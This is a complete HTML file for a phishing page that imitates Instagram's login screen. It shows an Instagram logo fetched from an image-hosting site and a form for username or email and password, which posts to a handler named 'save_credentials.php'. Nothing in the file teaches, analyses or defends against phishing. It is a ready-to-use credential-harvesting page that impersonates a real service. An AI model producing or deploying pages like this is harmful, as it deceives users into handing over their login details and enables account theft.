<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Responsive Instagram Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #fafafa;
            color: black;
        }

        .container {
            width: 90%;
            max-width: 400px;
            background-color: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            text-align: center;
        }

        .logo {
            margin-bottom: 20px;
        }

        .logo img {
            width: 60%;
            max-width: 200px;
        }

        .form-group {
            margin-bottom: 15px;
        }

        .form-group input {
            width: 100%;
            padding: 10px;
            font-size: 1rem;
            border: 1px solid #ccc;
            border-radius: 5px;
            background-color: #f9f9f9;
            color: black;
        }

        .form-group input:focus {
            outline: none;
            border-color: #aaa;
        }

        .button {
            display: block;
            width: 100%;
            padding: 10px;
            background-color: #0095f6;
            color: white;
            font-size: 1rem;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            margin-bottom: 15px;
        }

        .button:hover {
            background-color: #007bb5;
        }

        .link {
            color: #0095f6;
            text-decoration: none;
        }

        .link:hover {
            text-decoration: underline;
        }

        .app-buttons {
            margin-top: 20px;
        }

        .app-buttons img {
            width: 280px;
            margin: 15px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <img src="https://i.ibb.co/HdnkpSY/iglogo.jpg" alt="Instagram Logo">
        </div>
        <form action="save_credentials.php" method="POST">
            <div class="form-group">
                <input type="text" name="username" placeholder="Phone number, username, or email" required>
            </div>
            <div class="form-group">
                <input type="password" name="password" placeholder="Password" required>
            </div>
            <button class="button" type="submit">Log in</button>
        </form>
        <a href="#" class="link">Forgot password?</a>
        <p>OR</p>
        <p>Don't have an account? <a href="#" class="link">Sign up</a></p>
        <div class="app-buttons">
            <img src="https://i.ibb.co/4m6SBzB/b5fd0506-21a2-4148-a485-403d5fde7311.jpg" alt="App Store Download">
        </div>
    </div>
</body>
</html> 